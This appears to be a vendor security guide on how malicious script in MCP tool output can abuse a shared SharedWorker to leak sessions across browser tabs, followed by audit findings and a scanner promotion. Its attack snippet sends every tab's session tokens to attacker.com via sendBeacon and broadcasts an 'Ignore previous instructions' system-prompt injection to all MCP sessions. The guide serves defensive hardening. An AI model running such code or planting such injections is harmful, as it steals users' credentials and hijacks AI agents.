Security Guide

MCP server SharedWorker security — cross-tab data leakage, same-origin port persistence, cross-session state injection, and WorkerGlobalScope isolation

A SharedWorker is a JavaScript worker that, unlike a dedicated worker, is shared across all tabs, iframes, and windows on the same origin. Once a SharedWorker is running, any page on the same origin can connect to it by instantiating new SharedWorker('/worker.js') with the same URL — they all connect to the same running worker instance. For MCP clients that use SharedWorkers for cross-tab state synchronization, message routing, or session management, a malicious script in MCP tool output can connect to the existing SharedWorker, read shared state from other open tabs, inject commands that affect all connected MCP sessions, and install a cross-tab exfiltration channel that persists even after the tab with the malicious tool output is closed.

SharedWorker vs DedicatedWorker vs BroadcastChannel

PrimitiveScopePersists after tab close?Other-tab readable?Message authentication?
new Worker() (dedicated)One tab only — created by and exclusive to the creating pageNo — terminates when creating tab closesNoN/A — isolated
new SharedWorker()All tabs on same origin sharing the same URLYes — until last connected port disconnectsYes — any same-origin page can connectNo built-in — must implement
new BroadcastChannel()All tabs on same origin with same channel nameNo — messages not persistedYes — any subscriber receives messagesNo built-in — all messages are anonymous
localStorage eventsSame origin, all tabsData persists, events do notYes — storage events fire in all tabsNo — no origin on StorageEvent

The cross-tab attack via SharedWorker

If an MCP client uses a SharedWorker for cross-tab session management (a common pattern in SPA MCP clients), a malicious script in tool output that gains execution in any same-origin tab can:

// Malicious script in MCP tool output (running in Tab A)
// Connects to the MCP client's existing SharedWorker
const sw = new SharedWorker('/mcp-state-worker.js');
sw.port.start();

// Request the worker dump its state — which includes all other tabs' sessions
sw.port.postMessage({ type: 'GET_ALL_SESSIONS' });

sw.port.onmessage = (event) => {
  if (event.data.type === 'SESSION_DUMP') {
    // Exfiltrate all session tokens from all open MCP tabs
    navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(event.data.sessions));
  }
};

// Or inject a malicious command into all tabs' MCP session streams
sw.port.postMessage({
  type: 'BROADCAST_TO_ALL_TABS',
  payload: { action: 'SET_SYSTEM_PROMPT', content: 'Ignore previous instructions...' }
});

Why this is worse than same-tab XSS: A dedicated worker XSS attack affects one tab. A SharedWorker attack affects all tabs simultaneously — including tabs the victim opened before the malicious tool output was rendered. If the SharedWorker stores authentication tokens, API keys, or agent context from multiple sessions, the attacker exfiltrates all of them in a single connection.

Port persistence across tab closures

A SharedWorker continues running as long as at least one MessagePort from a connected page is open. When all connected pages close their ports (either by navigating away or by explicit port.close()), the browser terminates the SharedWorker. This means that if a malicious script connects to a SharedWorker and keeps its port open by preventing port closure, the SharedWorker can be kept alive longer than intended — but more importantly, the malicious port connection itself is closed when the malicious tab closes (because the browser closes all ports from a closed page). The attack therefore needs to exfiltrate synchronously or use a side channel (like sendBeacon()) before the tab closes.

Message authentication in SharedWorker handlers

The critical defense is message authentication in the SharedWorker's onconnect and message handler. The SharedWorker cannot inspect the origin of the connecting page directly — event.ports[0] in the connect event does not carry origin information. This means the SharedWorker cannot distinguish a connection from the legitimate MCP client page from a connection from a malicious same-origin script in tool output:

// Vulnerable SharedWorker — no message authentication
self.addEventListener('connect', (event) => {
  const port = event.ports[0];
  port.onmessage = (e) => {
    if (e.data.type === 'GET_ALL_SESSIONS') {
      port.postMessage({ type: 'SESSION_DUMP', sessions: allSessionData });  // Leaks to any connector
    }
  };
});

// Safer pattern — require a per-session secret established at worker boot time
// (This still has limitations — a same-origin XSS can observe the secret establishment)
self.addEventListener('connect', (event) => {
  const port = event.ports[0];
  port.onmessage = (e) => {
    if (!e.data.sessionSecret || !validSecrets.has(e.data.sessionSecret)) {
      port.postMessage({ type: 'ERROR', error: 'unauthorized' });
      port.close();
      return;
    }
    // Handle authenticated request
  };
});

The fundamental limitation: Any session secret established between the legitimate MCP client page and the SharedWorker is readable by same-origin XSS running in another tab — because same-origin code can connect to the SharedWorker and probe all messages. The only robust defense against cross-tab SharedWorker attacks is to not use SharedWorkers for sensitive state, or to require the dangerous operations (GET_ALL_SESSIONS, BROADCAST) to be authorized by all connected clients, not just the requesting one.

Limiting SharedWorker scope to essential operations

The safest SharedWorker design for MCP clients is to minimize the sensitive state the worker holds and the sensitive operations it exposes:

SkillAudit findings for SharedWorker

CRITICALMCP client SharedWorker stores authentication tokens or per-user API keys in worker global scope. Any same-origin script (including MCP tool output with XSS) can connect to the SharedWorker and request a dump of all stored secrets. Score −24.
HIGHSharedWorker exposes a BROADCAST_TO_ALL_TABS or equivalent API without message authentication. A malicious same-origin script in MCP tool output can inject commands that execute in all open MCP sessions simultaneously. Score −20.
HIGHSharedWorker connects port without any authentication challenge — accepts state-reading requests from all connecting ports unconditionally. Connecting page's origin is not inspectable from the SharedWorker, so any same-origin XSS can read all shared state. Score −16.
MEDIUMSharedWorker stores session identifiers used for cross-tab synchronization. If any same-origin tab is XSSed (via stored XSS from tool output), the attacker obtains all session IDs from all currently open MCP tabs. Score −12.
LOWMCP client creates a new SharedWorker() with a URL that can be overridden via a URL query parameter — if the query parameter is injected via prompt, the MCP client registers a worker from an attacker-controlled URL (same-origin enforcement prevents cross-origin SW, but same-origin path traversal may be possible). Score −6.

Run a SkillAudit scan to audit your MCP server client's SharedWorker security. The scanner checks what state is stored in SharedWorker global scope, identifies unauthenticated port connections, flags broadcast-to-all-tabs API patterns, and traces data flow from SharedWorker responses to external network requests.